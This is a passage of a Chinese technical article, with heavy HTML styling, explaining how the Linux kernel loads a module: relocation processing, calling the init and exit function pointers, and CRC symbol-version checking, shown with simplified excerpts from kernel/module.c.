14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">所以 UND 符号的 shndx 必须是 0。如果你在转换时把它改成了 SHN_ABS（0xFFF1），它就不会进入 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">resolve_symbol_wait</span></code><span leaf=""> 分支，内核不会去查符号表，外部引用全部悬空。</span></p><p data-line="257" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">第五步：重定位处理 —— </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">apply_relocations()</span></code></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="259" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// kernel/module.c</span></span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">apply_relocations</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> module *mod, </span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> load_info *info)</span></span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> err = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">; i &lt; info-&gt;hdr-&gt;e_shnum; i++) {</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> infosec = info-&gt;sechdrs[i].sh_info;  </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 目标段索引</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (infosec &gt;= info-&gt;hdr-&gt;e_shnum)</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">continue</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!(info-&gt;sechdrs[infosec].sh_flags &amp; SHF_ALLOC))</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">continue</span></span><span leaf="">;                                     </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 跳过未分配段</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (info-&gt;sechdrs[i].sh_type == SHT_REL)</span><span leaf=""><br/></span><span leaf="">            err = apply_relocate(info-&gt;sechdrs, info-&gt;strtab,</span><span leaf=""><br/></span><span leaf="">                                 info-&gt;index.sym, i, mod);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (info-&gt;sechdrs[i].sh_type == SHT_RELA)</span><span leaf=""><br/></span><span leaf="">            err = apply_relocate_add(info-&gt;sechdrs, info-&gt;strtab,</span><span leaf=""><br/></span><span leaf="">                                     info-&gt;index.sym, i, mod);  </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ← 处理 RELA</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (err &lt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> err;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="287" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这段逻辑遍历所有段头，找出类型为 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SHT_RELA</span></code><span leaf=""> 的段（重定位段），调用架构特定的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">apply_relocate_add()</span></code><span leaf=""> 逐条处理。</span></p><p data-line="289" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rela.gnu.linkonce.this_module</span></code><span leaf=""> 就是在这里被处理的。内核遍历到这个段时，把 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">init_module</span></code><span leaf=""> 和 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cleanup_module</span></code><span leaf=""> 的最终地址写入 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.gnu.linkonce.this_module</span></code><span leaf=""> 段内对应偏移处。这些偏移正是 struct module 中 init/exit 函数指针的位置。</span></p><p data-line="291" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">第六步：发起初始化 —— </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">do_init_module()</span></code></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="293" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// kernel/module.c</span></span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span leaf=""> noinline </span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">do_init_module</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> module *mod)</span></span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> ret = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">mod_initfree</span></span><span leaf=""> *</span><span style="color: rgb(128, 128, 128);"><span leaf="">freeinit</span></span><span leaf="">;</span></span><span leaf=""><br/></span><span leaf="">    freeinit = kmalloc(</span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(*freeinit), GFP_KERNEL);</span><span leaf=""><br/></span><span leaf="">    freeinit-&gt;module_init = mod-&gt;init_layout.base;</span><span leaf=""><br/></span><span leaf="">    do_mod_ctors(mod);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (mod-&gt;init != </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">)                     </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ← 关键判断</span></span><span leaf=""><br/></span><span leaf="">        ret = do_one_initcall(mod-&gt;init);       </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 通过函数指针调用</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (ret &lt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">goto</span></span><span leaf=""> fail_free_freeinit;</span><span leaf=""><br/></span><span leaf="">    mod-&gt;state = MODULE_STATE_LIVE;</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ... uevent, async 同步, 释放 init 内存</span></span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="316" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">内核调用 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mod-&gt;init</span></code><span leaf=""> 这个函数指针。这个指针的值是在第五步的重定位处理中填入的。如果 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rela.gnu.linkonce.this_module</span></code><span leaf=""> 段不存在或偏移量不正确，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mod-&gt;init</span></code><span leaf=""> 就是 NULL，内核跳过整个初始化流程，不报任何错误。</span></p><p data-line="318" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">同样，模块卸载时（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kernel/module.c</span></code><span leaf=""> 的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">free_module()</span></code><span leaf=""> 路径）：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="320" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// kernel/module.c: 模块卸载路径</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (mod-&gt;</span><span style="color: rgb(0, 122, 204);"><span leaf="">exit</span></span><span leaf=""> != </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    mod-&gt;</span><span style="color: rgb(0, 122, 204);"><span leaf="">exit</span></span><span leaf="">();</span></code></pre><p data-line="326" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mod-&gt;exit</span></code><span leaf=""> 也是通过重定位填入的。两个函数指针，两条重定位，缺一不可。</span></p><h3 data-line="328" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">CRC版本校验</span></h3><p data-line="330" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">第七步：CRC 校验 —— </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">check_version()</span></code></p><p data-line="332" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果内核开启了 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CONFIG_MODVERSIONS</span></code><span leaf="">，每个外部符号引用都要比对 CRC：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="334" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// kernel/module.c</span></span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">check_version</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> load_info *info,</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *symname,</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> module *mod,</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span leaf=""> s32 *crc)</span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    Elf_Shdr *sechdrs = info-&gt;sechdrs;</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> versindex = info-&gt;index.vers;</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">modversion_info</span></span><span leaf=""> *</span><span style="color: rgb(128, 128, 128);"><span leaf="">versions</span></span><span leaf="">;</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!crc)</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">;                          </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 内核没提供 CRC，放行</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (versindex == </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> try_to_force_load(mod, symname) == </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;  </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 模块没 __versions 段</span></span><span leaf=""><br/></span><span leaf="">    versions = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *)sechdrs[versindex].sh_addr;</span><span leaf=""><br/></span><span leaf="">    num_versions = sechdrs[versindex].sh_size</span><span leaf=""><br/></span><span leaf="">        / </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> modversion_info);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; i &lt; num_versions; i++) {</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 122, 204);"><span leaf="">strcmp</span></span><span leaf="">(versions[i].name, symname) != </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">continue</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (versions[i].crc == crcval)</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">;                      </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// CRC 匹配</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">goto</span></span><span leaf=""> bad_version;                  </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 符号名匹配但 CRC 不匹配 → 失败</span></span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    pr_warn_once(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;%s: no symbol version for %s\n&#34;</span></span><span leaf="">, info-&gt;name, symname);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">;                              </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 没找到对应条目，警告但放行</span></span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="367" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">模块的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">__versions</span></code><span leaf=""> 段存储了 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">struct modversion_info</span></code><span leaf=""> 数组（64 字节每项：CRC + 符号名）。内核逐个比对 CRC 值，不匹配则加载失败。其中 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">module_layout</span></code><span leaf=""> 这个符号的 CRC 实质上代表了整个 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">struct module</span></code><span leaf=""> 的结构签名。</span></p><p data-line="369" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">以上就是模块从 insmod 到 init 执行经过的全部内核关卡。接下来看转换过程中的具体坑。</span></p><h2 data-line="371" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3 离线转换流水线</span></h2><p data-line="373" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, 